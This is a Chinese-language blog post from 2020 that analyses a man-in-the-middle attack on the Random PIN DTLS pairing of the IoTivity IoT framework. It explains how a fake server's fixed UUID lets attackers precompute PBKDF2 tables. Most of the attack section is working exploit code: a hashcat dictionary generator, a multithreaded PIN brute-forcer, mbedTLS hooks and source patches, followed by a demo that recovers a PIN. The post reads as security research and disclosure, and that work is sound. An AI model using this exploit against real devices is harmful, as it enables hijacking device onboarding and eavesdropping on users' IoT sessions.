物联网框架 IoTivity 中间人攻击分析

前言

IoTivity 是物联网(IoT)标准的开源实现,该标准由 Open Connectivity Foundation(OCF)组织制定。

同时支持 IP、BLE、BT、TCP 及 NFC 等多种连接方式。

并且兼容 Ubuntu、Android、Tizen 和 Arduino 等环境。

本文将对 IoTivity 所采用的 DTLS 安全连接协议进行中间人攻击。

IoTivity 框架结构

低功耗蓝牙(BLE)概述

HCI:蓝牙链路控制层

GATT:服务和属性控制层

Service:设备提供的服务

Characteristic:服务提供的接口,一般会提供多种方法,比如 Write、Read、Notify 等

graph TD subgraph HCI subgraph GATT subgraph Service subgraph Characteristic Write Read Notify end end end end

中间人攻击(MITM)概述

中间人攻击(Man In The Middle,简称 MITM)是指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。

根据中间人是否对通信内容进行篡改,又可分为主动的中间人攻击和被动的中间人攻击。

通信加密(DTLS)概述

IoTivity 框架下,设备的连接方式有三种,分别是 Just WorksRandom PINManufacturer Certificate

这三种连接方式均采用 ECDH(E)作为密钥协商算法,可以有效抵挡被动的中间人攻击,并保证连接的前向安全性。

通信协议采用的是 DTLS,是基于 UDP 连接方式的 TLS 实现,所用的加密套件和 TLS 相同。

Just Works

此模式使用 TLS_ECDH_anon_WITH_AES_128_CBC_SHA256 加密套件,无法抵挡主动的中间人攻击。

在这个工作模式下,通信双方不需要设置预共享密钥或证书,即可直接建立起 TLS 连接。

优点是连接方便,适用于没有显示功能的蓝牙设备。

缺点是连接的安全性没有保证。

Random PIN

此模式使用 TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256 加密套件,可以在一定程度上抵挡主动的中间人攻击,安全性取决于 PIN 的复杂程度。

由服务端生成 8 位数字 PIN,并通过安全信道(Out Of Band,简称 OOB)将其分发给客户端,随后 PIN 会用于 TLS 加密套件的的认证过程。

举个例子,通过电视屏幕来显示 PIN 就是一种 OOB 的方案,只需要保证中间人得不到这个 PIN 即可。

优点是每次使用的 PIN 都是随机生成的,这种连接方式有比较高的安全性,而且连接方式比较简单。

一般来说,最常用的连接方法就是 Random PIN 了。

Manufacturer Certificate

此模式使用 MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8 加密套件,无法抵挡主动的中间人攻击。

服务端和客户端需要提前配置好 ECDSA 证书,随后 ECDSA 证书会用于 TLS 加密套件的的认证过程。

缺点是证书容易泄露,无法保证连接的安全性,而且配置证书的过程比较繁琐。

基于BLE的协议栈

DTLS:负责通信加密

CoAP:负责传输控制

GATT:负责提供蓝牙接口

HCI:负责蓝牙链路控制

graph LR subgraph IoTivity DTLS CoAP GATT HCI end

中间人攻击

下面将以 Random PIN 连接方式为例,通过 Hook mbedTLS 中的相关函数,对 TLS_ECDHE_PSK 加密套件进行中间人攻击。

TLS_ECDHE_PSK 握手过程

Client Hello:包含 Client Random

Server Hello:包含 Server Random

Server Key Exchange:包含 Server UUIDServer Public Key

Client Key Exchange:包含 Client UUIDClient Public Key

Client Finish:计算握手信息的 HMAC_SHA256 摘要,并使用 AES 密钥对其进行加密,再将 AES 加密所用的 IV 附在前面

Client Finish 的生成过程

\[PSK=PBKDF2(HMAC\_SHA256,PIN,Server\ UUID,1000)\\ Z=ECDHE\_SECRET(Client(Server)\ Private\ Key,Server(Client)\ Public\ Key)\\ PreMaster=\{Z,PSK\}\\ PadBuf=SHA256(HandShake)\\ Master=PRF(HMAC\_SHA256,PreMaster,"extended\ master\ secret",PadBuf)\\ RandBytes=\{Server\ Random,Client\ Random\}\\ KeyBlk=PRF(HMAC\_SHA256,Master,"key\ expansion",RandBytes)\\ Hash=PRF(HMAC\_SHA256,Master,"client\ finished",PadBuf)\\ IV=Random()\\ Cipher=AES\_Encrypt(KeyBlk.key,IV,Hash)\\ Client\ Finish=\{IV,Cipher\} \]

Client Finish 的依赖关系

graph LR UUID-->PSK PIN-->PSK PSK-->PreMaster PrivateKey-->Z PublicKey-->Z Z-->PreMaster HandShake-->PadBuf PreMaster-->Master PadBuf-->Master ServerRandom-->RandBytes ClientRandom-->RandBytes RandBytes-->KeyBlk Master-->KeyBlk Master-->Hash PadBuf-->Hash KeyBlk-->Cipher Random("Random()")-->IV IV-->Cipher Hash-->Cipher IV-->ClientFinish Cipher-->ClientFinish

中间人攻击过程

在已知:

\[Z,PadBuf,RandBytes,IV,Cipher \]

的前提下,我们可以通过暴力尝试来找到 PIN 满足:

\[AES\_Decrypt(KeyBlk.key,IV,Cipher)==Hash \]

从而与真正的 Client 和 Server 完成连接,进而监听整个会话信息。

密码学误用

\[PSK=PBKDF2(HMAC\_SHA256,PIN,Server\ UUID,1000) \]

注意在 OCF 制定的标准中,生成 PSK 所用的 UUID 是 Server 提供的,因此 Attacker 作为假 Server 可以在握手的时候提供一个固定的 UUID,这样就可以通过提前打表来绕过 PBKDF2 的迭代过程,从而减少破解 PIN 所需要的时间。

部分攻击代码

这里为了方便演示只暴力尝试以 00 开头的 PIN,破解用时不到 1 秒,平均每秒尝试 \(10^6\) 次。

考虑到实际连接中超时时间通常设置为 60 秒,所以理论上可以在窗口时间内破解出任何 PIN ,只需要增加字典的数目即可。

使用 GPU 对 PBKDF2 进行打表(需要 Hashcat 环境)

m10900-pure.cl

KERNEL_FQ void m10900_comp (KERN_ATTR_TMPS_ESALT (pbkdf2_sha256_tmp_t, pbkdf2_sha256_t))
{
  const u64 gid = get_global_id (0);

  if (gid >= gid_max) return;

  const u64 lid = get_local_id (0);

  const u32 r0 = tmps[gid].out[0];
  const u32 r1 = tmps[gid].out[1];
  const u32 r2 = tmps[gid].out[2];
  const u32 r3 = tmps[gid].out[3];
  const u32 r4 = tmps[gid].out[4];
  const u32 r5 = tmps[gid].out[5];
  const u32 r6 = tmps[gid].out[6];
  const u32 r7 = tmps[gid].out[7];

  printf("%08x%08x %08x%08x%08x%08x%08x%08x%08x%08x\n",hc_swap32_S(pws[gid].i[0]),hc_swap32_S(pws[gid].i[1]),r0,r1,r2,r3,r4,r5,r6,r7);
}

gendict.cpp

#include <cstdio>
#include <cstdlib>

char cmd[1024];

// HASH = PBKDF2-HMAC-SHA256
// PIN = 00000000 ~ 99999999
// UUID = 00000000000040004000000000000000
// ITER = 1000

char fmt[]="del kernels\\m10900-*&hashcat --force --quiet --keep-guessing --self-test-disable --potfile-disable -m 10900 -a 3 sha256:1000:AAAAAAAAQABAAAAAAAAAAA==:0000000000000000000000 %02d?d?d?d?d?d?d > dict\\dict%02d.txt";

int main(){
    for (int i=0;i<1;i++){ //100
        sprintf(cmd,fmt,i,i);
        printf("%d\n",i);
        system(cmd);
    }
}

多线程暴力尝试 PIN(需要 OpenSSL 环境)

oc_brute.c

#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <openssl/hmac.h>
#include <string.h>
#include <pthread.h>

int debug=0;
unsigned char pin[1000000][8],psk[1000000][16];

unsigned char _pin[16+1],_psk[64+1];

// Public IN

typedef struct brute_t{
    unsigned char label1[32];
    unsigned char label2[32];
    unsigned char label3[32];
    unsigned char z[32];
    unsigned char padbuf[32];
    unsigned char randbytes[64];
    unsigned char iv[16];
    unsigned char cipher[64];
}brute_t;

brute_t brute_in;

// Public OUT
unsigned char *brute_out;

pthread_t plist[100];

unsigned char *HMAC(const EVP_MD *evp_md, const void *key, int key_len,
                    const unsigned char *d, size_t n, unsigned char *md,
                    unsigned int *md_len);

void hexlify(unsigned char *buf,int len)
{
  for (int i=0;i<len;i++)
    printf("%02x",buf[i]);
  printf("\n");
}

void handleErrors()
{
    //printf("ERR\n");
}

void PRF(const EVP_MD *evp_md,
        unsigned char *secret, size_t slen,
        unsigned char *label,
        unsigned char *randombytes, size_t rlen,
        unsigned char *dstbuf, size_t dlen )
{
    size_t nb;
    size_t i, j, k, md_len;
    unsigned char tmp[128];
    unsigned char h_i[32];
    HMAC_CTX *md_ctx=HMAC_CTX_new();
    unsigned int _md_len;

    md_len = EVP_MD_size( evp_md );
    nb = strlen( (char*)label );
    memcpy( tmp + md_len, label, nb );
    memcpy( tmp + md_len + nb, randombytes, rlen );
    nb += rlen;

    /*
     * Compute P_<hash>(secret, label + brute_in.randbytesom)[0..dlen]
     */

    HMAC_Init_ex( md_ctx, secret, slen, evp_md, NULL );
    HMAC_Update( md_ctx, tmp + md_len, nb );
    HMAC_Final( md_ctx, tmp, &_md_len );

    // HMAC_Init_ex() initializes or reuses a B<HMAC_CTX> structure to use the hash
    // function B<evp_md> and key B<key>. If both are NULL, or if B<key> is NULL
    // and B<evp_md> is the same as the previous call, then the
    // existing key is
    // reused. B<ctx> must have been created with HMAC_CTX_new() before the first use
    // of an B<HMAC_CTX> in this function.

    for( i = 0; i < dlen; i += md_len )
    {
        HMAC_Init_ex( md_ctx, NULL, slen, NULL, NULL );
        HMAC_Update( md_ctx, tmp, md_len + nb );
        HMAC_Final( md_ctx, h_i, &_md_len );

        HMAC_Init_ex( md_ctx, NULL, slen, NULL, NULL );
        HMAC_Update( md_ctx, tmp, md_len );
        HMAC_Final( md_ctx, tmp, &_md_len );

        k = ( i + md_len > dlen ) ? dlen % md_len : md_len;

        for( j = 0; j < k; j++ )
            dstbuf[i + j]  = h_i[j];
    }

    HMAC_CTX_free( md_ctx );
}

int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
            unsigned char *iv, unsigned char *plaintext)
{
    EVP_CIPHER_CTX *ctx;
    int len;
    int plaintext_len;

    /* Create and initialise the context */
    if(!(ctx = EVP_CIPHER_CTX_new()))
        {handleErrors();}

    /*
     * Initialise the decryption operation. IMPORTANT - ensure you use a key
     * and brute_in.iv size appropriate for your cipher
     * In this example we are using 128 bit AES (i.e. a 128 bit key). The
     * brute_in.iv size for *most* modes is the same as the block size. For AES this
     * is 128 bits
     */
    if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
        {handleErrors();}

    /*
     * Provide the message to be decrypted, and obtain the plaintext output.
     * EVP_DecryptUpdate can be called multiple times if necessary.
     */
    if(1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
        {handleErrors();}
    plaintext_len = len;

    /*
     * Finalise the decryption. Further plaintext bytes may be written at
     * this stage.
     */
    if(1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
        {handleErrors();}
    plaintext_len += len;

    /* Clean up */
    EVP_CIPHER_CTX_free(ctx);

    return plaintext_len;
}

void checkPIN(unsigned char *pin, unsigned char *psk)
{
    unsigned char plain[64];
    unsigned char iv[16];

    memcpy(iv,brute_in.iv,16);

    // premaster = {lenbrute_in.z, brute_in.z, lenPSK, PSK}
    unsigned char pms[52];
    pms[0]=0;pms[1]=32;
    memcpy(pms+2,brute_in.z,32);
    pms[34]=0;pms[35]=16;
    memcpy(pms+36,psk,16);
    if (debug) {printf("pms : ");hexlify(pms,52);}

    // master = PRF(EVP_sha256(),pms, "extended master secret", brute_in.padbuf, 32, master, 48)
    unsigned char master[48];
    PRF(EVP_sha256(),pms,52,brute_in.label1,brute_in.padbuf,32,master,48);
    if (debug) {printf("master : ");hexlify(master,48);}

    // keyblk = PRF(EVP_sha256(),master, "key expansion", brute_in.randbytesbytes_after_swap, 64, keyblk, 128)
    unsigned char keyblk[256];
    //只需要把key算出来即可,不需要把256字节都算完
    PRF(EVP_sha256(),master,48,brute_in.label2,brute_in.randbytes,64,keyblk,80); //256);
    if (debug) {printf("keyblk : ");hexlify(keyblk,256);}

    // hash = PRF(EVP_sha256(),master, "client finished", brute_in.padbuf, 32, hash, 12)
    unsigned char hash[12];
    PRF(EVP_sha256(),master,48,brute_in.label3,brute_in.padbuf,32,hash,12);
    if (debug) {printf("hash : ");hexlify(hash,12);}

    // keyblock(:128) = {mac_dec(32), mac_enc(32), key2(16), key1(16), brute_in.iv_dec(16), brute_in.iv_enc(16)}
    unsigned char key[16];
    memcpy(key,keyblk+64,16);
    if (debug) {printf("key : ");hexlify(key,16);}

    // Decrypt the ciphertext
    decrypt(brute_in.cipher, 64, key, iv, plain);
    if (debug) {printf("plain : ");hexlify(plain,64);}

    // Verify
    if (debug) {
        hexlify(hash,12);
        hexlify(plain+12,12);
        printf("\n");
    }

    if (!memcmp(hash,plain+12,12)){
        printf("PIN : %.8s\n",pin);
        brute_out=pin;
    }
}

void unhex(unsigned char *dst,unsigned char *src,int dlen){
    for (int i=0,j=0;i<dlen;i++,j+=2){
        dst[i]=(src[j]>='a'?src[j]-'a'+10:src[j]-'0')*0x10+(src[j+1]>='a'?src[j+1]-'a'+10:src[j+1]-'0');
    }
}

void precheckPIN(void *idx){
    for (int i=((long long)idx*100000);i<(((long long)idx+1)*100000);i++){
        if (brute_out!=NULL) return;
        checkPIN(pin[i],psk[i]);
    }
}

void brute(){
    printf("brute start\n");
    memcpy(brute_in.label1,"\x65\x78\x74\x65\x6e\x64\x65\x64\x20\x6d\x61\x73\x74\x65\x72\x20\x73\x65\x63\x72\x65\x74",22);
    memcpy(brute_in.label2,"\x6b\x65\x79\x20\x65\x78\x70\x61\x6e\x73\x69\x6f\x6e",13);
    memcpy(brute_in.label3,"\x63\x6c\x69\x65\x6e\x74\x20\x66\x69\x6e\x69\x73\x68\x65\x64",15);
    
    // infomation
    printf("Brute : \n");
    hexlify(brute_in.label1,22);
    hexlify(brute_in.label2,13);
    hexlify(brute_in.label3,15);
    hexlify(brute_in.z,32);
    hexlify(brute_in.padbuf,32);
    hexlify(brute_in.randbytes,64);
    hexlify(brute_in.iv,16);
    hexlify(brute_in.cipher,64);

    // read dict
    FILE *ret=freopen("/home/byaidu/iot-lite/dict/dict00.txt","r",stdin);
    if (ret==NULL) return;
    for (int i=0;i<1000000;i++){
        int rets=scanf("%s %s",_pin,_psk);
        if (rets==0) return;
        unhex(pin[i],_pin,8);
        unhex(psk[i],_psk,16);
    }

    // alloc 10 task
    for (long long i=0;i<10;i++){
        pthread_create(&plist[i], NULL, (void * (*)(void *))&precheckPIN, (void *)i);
    }

    // wait task
    for (int i=0;i<10;i++){
        pthread_join(plist[i],NULL);
    }

    if (brute_out!=NULL) {
        printf("succeed\n");
    }else{
        printf("failed\n");
        brute_out=(unsigned char*)"00000000";
    }
}

oc_exp.c

#include <unistd.h>
#include "oc_brute.c"

#define lenHdr 12
#define lenPIN 8
#define lenUUID 0x10
#define lenPSK 0x10
#define lenEncMsg 0x50
#define lenMsg 12
#define lenRandbytes 64

static unsigned char UUID[lenUUID];
static unsigned char PSK[lenPSK];
static unsigned char hash[lenMsg];
static unsigned char randbytes[lenRandbytes];

extern brute_t brute_in;

extern int oc_tls_pbkdf2(const unsigned char *pin, size_t pin_len, oc_uuid_t *uuid,
                  unsigned int c, uint8_t *key, uint32_t key_len);
extern int ssl_decrypt_buf( mbedtls_ssl_context *ssl );
extern void ssl_calc_finished_tls_sha256(mbedtls_ssl_context *ssl, unsigned char *buf, int from );
extern int mbedtls_ssl_psk_derive_premaster( mbedtls_ssl_context *ssl, mbedtls_key_exchange_type_t key_ex );
extern int mbedtls_ssl_derive_keys( mbedtls_ssl_context *ssl );

int firstconnect=1;

extern void hexlify(unsigned char *buf,int len);

int check_PIN(mbedtls_ssl_context *ssl){
  //remind to use Randbyes (after swap) here
  memcpy( brute_in.randbytes, randbytes + 32, 32 );
  memcpy( brute_in.randbytes + 32, randbytes, 32 );
  brute();
  //brute_out=(unsigned char*)"00000000";

  // 根据UUID和PIN计算PSK
  oc_uuid_t _UUID;
  memcpy(_UUID.id,UUID,lenUUID);
  
  // PIN = brute_out
  oc_tls_pbkdf2(brute_out,lenPIN,&_UUID,1000,PSK,lenPSK);
  printf("# PIN : ");hexlify(brute_out,lenPIN);
  printf("# UUID : ");hexlify(UUID,lenUUID);
  printf("# PSK : ");hexlify(PSK,lenPSK);

  // 设置PSK
  mbedtls_ssl_set_hs_psk(ssl,PSK,16);

  // 根据PSK和Z计算PMS
  mbedtls_ssl_psk_derive_premaster(ssl,MBEDTLS_KEY_EXCHANGE_ECDHE_PSK);

  // 根据PMS计算Master,KeyBlock,lenIV并设置Transform
  mbedtls_ssl_derive_keys(ssl);

  // Cacl HMAC_SHA256 After derive keys
  ssl_calc_finished_tls_sha256(ssl,hash,MBEDTLS_SSL_IS_CLIENT);

  // 应用Transform
  ssl->transform_in = ssl->transform_negotiate;
  ssl->session_in = ssl->session_negotiate;
  
  return 0;
}

// Modify / Brute PIN of HandShake and Verify PIN with EncMsg
// Callback From : mbedtls_ssl_parse_finished
int mbedtls_ssl_parse_finished_cb( mbedtls_ssl_context *ssl ){
  //fix the position of record
  ssl->in_msg+=16;
    
  // 2 bytes offset between in_msg & iv
  memcpy(brute_in.iv,ssl->in_msg-2,16);
  memcpy(brute_in.cipher,ssl->in_msg+16-2,64);
    
  // calc z & padbuf for brute_in
  size_t zlen;
  mbedtls_ecdh_calc_secret( &ssl->handshake->ecdh_ctx, &zlen,
                                       brute_in.z, 32,
                                       ssl->conf->f_rng, ssl->conf->p_rng );
  mbedtls_sha256_context sha256;
  mbedtls_sha256_init( &sha256 );
  mbedtls_sha256_clone( &sha256, &ssl->handshake->fin_sha256 );
  mbedtls_sha256_finish_ret( &sha256, brute_in.padbuf );
  
  // Save Randbytes
  memcpy(randbytes,ssl->handshake->randbytes,lenRandbytes);

  // Brute PIN
  check_PIN(ssl);
  return 0;
}

// Get UUID of HandShake
// Callback From : ssl_parse_client_psk_identity / get_psk_cb
int ssl_parse_client_psk_identity_cb( unsigned char *oc_PIN, unsigned char *ocUUID ){
  // read UUID set by app
  memcpy(UUID,ocUUID,lenUUID);
    
  // do something to skip warning
  memcpy(oc_PIN,"00000000",lenPIN);
  return 0;
}

oc_tls.c

+ if (firstconnect) ssl_parse_client_psk_identity_cb(PIN, (unsigned char *)&doxm->deviceuuid);
  if (oc_tls_pbkdf2(PIN, PIN_LEN, &doxm->deviceuuid, 1000, key, 16) != 0) {
    OC_ERR("oc_tls: error deriving PPSK");
    return -1;
  }

ssl_srv.c

+       if (firstconnect){
+           ssl->state++;
+           return( 0 );
+       }

        MBEDTLS_SSL_DEBUG_ECDH( 3, &ssl->handshake->ecdh_ctx,
                                MBEDTLS_DEBUG_ECDH_QP );
        case MBEDTLS_SSL_HANDSHAKE_WRAPUP:
            mbedtls_ssl_handshake_wrapup( ssl );
+           firstconnect=0;
            break;

ssl_tls.c

int mbedtls_ssl_parse_finished( mbedtls_ssl_context *ssl )
{
+   if (firstconnect) mbedtls_ssl_parse_finished_cb(ssl);

api_oc_uuid.c

void
oc_gen_uuid(oc_uuid_t *uuid)
{
  int i;
  uint32_t r;

  for (i = 0; i < 4; i++) {
-   r = oc_random_value();
+   r=0;
    memcpy((uint8_t *)&uuid->id[i * 4], (uint8_t *)&r, sizeof(r));
  }

基于 IP 协议栈的攻击

下面将演示中间人在提前不知道握手所用的 PIN 的前提下,仅通过部分握手报文来破解出 PIN,并使用这个 PIN 来完成剩下的握手过程。

因为 IoTivity 对 Linux 的蓝牙支持不太友好,所以最后就只做了本地 TCP/IP 回路上的测试。

首先在 Loopback 上开启 Client 和 Attacker。

在 Client 使用 Discover 功能搜索 Attacker,然后点击 Onboard 进行连接。

注意这里的连接模式要选 Random PIN

随意填写一个 PIN,比如 00777777

稍等片刻,Attacker 在终端输出 PIN : 00777777,代表成功破解出 Client 所用的 PIN。

随后 Client 弹出窗口提示成功连接设备。

连接成功后可以在 Client 查看 Attacker 的详细信息。

工具

nRF Connect

一款非常强大的 App,支持 iOS 和 Android,可以在手机上查看周围任何蓝牙设备的生产商信息、Service 以及 Characteristic 等,同时支持对 Characteristic 的各种操作。

UWP

微软的 UWP 框架提供了蓝牙功能,而且开发流程非常简单,但是受限于 Windows 蓝牙栈,绝大多数的设备属性都没有办法修改,不推荐。

Noble / Bleno

用于 BLE 通信的 Node.js 模块,支持 Mac OS X, Linux, FreeBSD 以及 Windows 等系统,而且对硬件有要求。

BlueZ

包含 Linux 下的蓝牙的开发环境和工具集,包括 hcitoolgatttool 以及 bluetoothctl,下面的这些项目都是基于 BlueZ 来实现的,但是 BlueZ 是针对 GATT 协议层的工具,如果 GATT 协议层之上还有很多层协议的话,直接使用这个工具就显得不是很合适了。

PyBluez/BluePy

提供 BlueZ 的 Python 封装接口。

Ubertooth

可以用于蓝牙监听的设备,黑色的 PCB 造型非常酷,但是必须要吐槽一下,丢包实在是太严重了,而且只能做被动监听,不推荐。

Bettercap

虽然文档写的不错,但是提供的功能非常少,只能用来发包开个蓝牙锁,可以看成是个玩具级产品,不推荐。

Gattacker/Btlejuice

这两个工具都是基于 noble 的项目,可以完整实现蓝牙的中间人攻击,并且提供了 PythonNode.js 的 Bindings,不过它们都是针对 GATT 协议层的工具。

参考文章

OCF Security Standards : https://openconnectivity.org/specs/OCF_Security_Specification_v2.1.2.pdf
Server Key Exchange : https://tools.ietf.org/html/rfc4492#section-5.4
ECDHE_PSK Key Exchange Algorithm : https://tools.ietf.org/html/rfc5489#section-2
DHE_PSK Key Exchange Algorithm : https://tools.ietf.org/html/rfc4279#section-3
ECDHE : https://blog.csdn.net/mrpre/article/details/78025940
ECPoint : https://www.cnblogs.com/xinzhao/p/8963724.html
DTLS Sample : https://wiki.wireshark.org/DTLS
mbedTLS : https://github.com/ARMmbed/mbedtls
IoTivity : https://github.com/iotivity/iotivity-lite
BlueZ : http://www.bluez.org/
BlueZ Document : https://core.docs.ubuntu.com/en/stacks/bluetooth/bluez/docs/
PyBluez : https://github.com/pybluez/pybluez

posted @ 2020-08-07 03:17  Byaidu  阅读(1397)  评论(0编辑  收藏  举报